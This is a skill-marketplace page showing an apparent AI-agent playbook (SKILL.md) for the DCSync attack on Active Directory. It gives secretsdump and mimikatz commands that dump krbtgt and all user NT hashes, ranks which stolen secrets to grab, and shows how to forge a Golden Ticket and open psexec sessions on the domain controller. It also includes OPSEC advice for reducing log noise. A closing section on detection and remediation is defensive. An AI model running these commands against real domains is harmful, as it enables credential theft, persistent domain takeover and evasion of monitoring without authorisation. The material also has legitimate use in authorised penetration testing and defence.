Skip to main content

dcsync

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
2. Juni 2026 um 17:22
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
dcsync
description
Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
metadata
{"subdomain":"active-directory","when_to_use":"dcsync replication rights secretsdump krbtgt nt hash dump","mitre_attack":["T1003.006"]}
# DCSync Playbook DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL. ## 1. Identify DCSync candidates From BloodHound: ``` kg_query(kind="user", filter="dcsync=true") + kg_query(kind="group", filter="dcsync=true") ``` Or Cypher direct: ``` MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain) RETURN DISTINCT n.name, labels(n) ``` Common holders (legitimate): - Domain Admins, Enterprise Admins, Domain Controllers - Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange) - Replicator (rare) Common holders (misconfig = jackpot): - Service accounts (admins delegated mistakenly) - Helpdesk groups - Groups from old migrations ## 2. Execute DCSync **Impacket** (most reliable): ```bash # All NT hashes including krbtgt secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \ -outputfile /tmp/secrets # Just one target user secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt' # With NT hash auth instead of password secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc # With Kerberos ticket (cleaner OPSEC) export KRB5CCNAME=/tmp/user.ccache secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc ``` **Mimikatz** (from Windows): ``` lsadump::dcsync /domain:dom.local /user:krbtgt lsadump::dcsync /domain:dom.local /all /csv ``` ## 3. Output files secretsdump produces: - `/tmp/secrets.ntds` — `user:RID:LM_HASH:NT_HASH:::` format - `/tmp/secrets.ntds.kerberos` — Kerberos keys (aes256, aes128, des) - `/tmp/secrets.ntds.cleartext` — any reversibly-encrypted passwords (rare, but yes) ## 4. Highest-value secrets to grab | User | Why | What unlocks | |---|---|---| | `krbtgt` | Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) | | `Administrator` | Built-in domain admin | Direct admin on most assets | | Domain Admin members | Lateral movement | Most assets | | `<trustname>$` | Trust accounts | Cross-forest movement | | Service accounts | Often local admin on hosts | Lateral movement | | Exchange computer accounts | Mailbox access | E-discovery / pivot | ## 5. Golden Ticket (post-DCSync) With krbtgt NT hash: ```bash ticketer.py -nthash KRBTGT_NT \ -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \ -domain 'dom.local' \ Administrator # Produces Administrator.ccache — TGT for Administrator that lasts 10 years export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass 'DC@DC_FQDN' ``` ## 6. Promote ``` kg_add_node(kind="credential", label="krbtgt:NT_HASH", props={"source":"dcsync","value":"<hash>"}) kg_add_node(kind="vulnerability", label="DCSync from <principal>", props={"severity":"critical"}) kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts") kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises") ``` ## OPSEC - DCSync generates **event 4662** on DCs with `Properties: Replicating Directory Changes` - Defender's high-signal detection (the **only** good DCSync detection) - BloodHound's `:DS-Replication-Get-Changes` GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` - A single DCSync run, scoped to one user (`-just-dc-user`), produces less log volume than `-just-dc` - Use Kerberos auth (`-k`) instead of NTLM to avoid 4624 type-3 noise ## Detection signature (so you know what blue sees) ``` EventCode=4662 ObjectType=domainDNS Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} SubjectUserName != *$ (filter out DC computer accounts) ``` ## CVSS - DCSync available to non-DC principal: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.0 - Already DA + DCSync: not a separate finding, just post-compromise activity ## Defender remediation ```powershell # Audit current holders of replication rights Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor | Select -ExpandProperty nTSecurityDescriptor | Select -ExpandProperty Access | Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } | Format-Table IdentityReference, ActiveDirectoryRights # Remove unauthorized holders via dsacls dsacls "DC=dom,DC=local" /R "DOM\BadPrincipal" ```
Auf GitHub ansehen